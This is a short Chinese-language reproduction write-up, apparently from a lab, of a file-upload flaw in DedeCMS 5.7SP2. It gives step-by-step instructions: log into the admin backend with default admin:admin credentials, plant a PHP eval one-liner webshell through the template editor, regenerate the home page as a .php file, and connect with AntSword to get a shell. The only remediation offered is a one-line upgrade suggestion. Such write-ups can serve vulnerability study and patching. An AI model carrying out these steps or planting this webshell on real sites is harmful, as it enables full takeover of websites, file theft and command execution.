漏洞描述:
Desdev DedeCMS(织梦内容管理系统)是中国卓卓网络(Desdev)公司的一套基于PHP的开源内容管理系统(CMS)。该系统具有内容发布、内容管理、内容编辑和内容检索等功能。
Desdev DedeCMS 5.7SP2版本中存在安全漏洞。远程攻击者可通过在添加新模板时,将文件名…/index.html更改成…/index.php利用该漏洞向uploads/目录上传.php文件并执行该文件。 后台路径:/uploads/dede/ 后台密码:admin:admin
复现过程:
1.访问http://ip:port,出现如下页面,开始实验
2.访问http://ip:port/uploads/dede,进入后台登陆页面,并输入账号密码进行登录
账号:admin
密码:admin
3.选择模板->默认模板管理,新建模板
4.写入php一句话木马,并保存
<?php @eval($_REQUEST[999]);?>
5.点击生成->更新主页HTML,选择主页模板为default/newtpl.htm,主页位置修改为php文件,首页模式选择静态,最后点击更新主页HTML
6.点击浏览,出现空白页面,表示成功
7.蚁剑连接,getshell
借此漏洞攻击者可以获取到网站的shell权限,控制整个网站,可以进行文件读取和命令执行。
修复建议:
1.升级版本。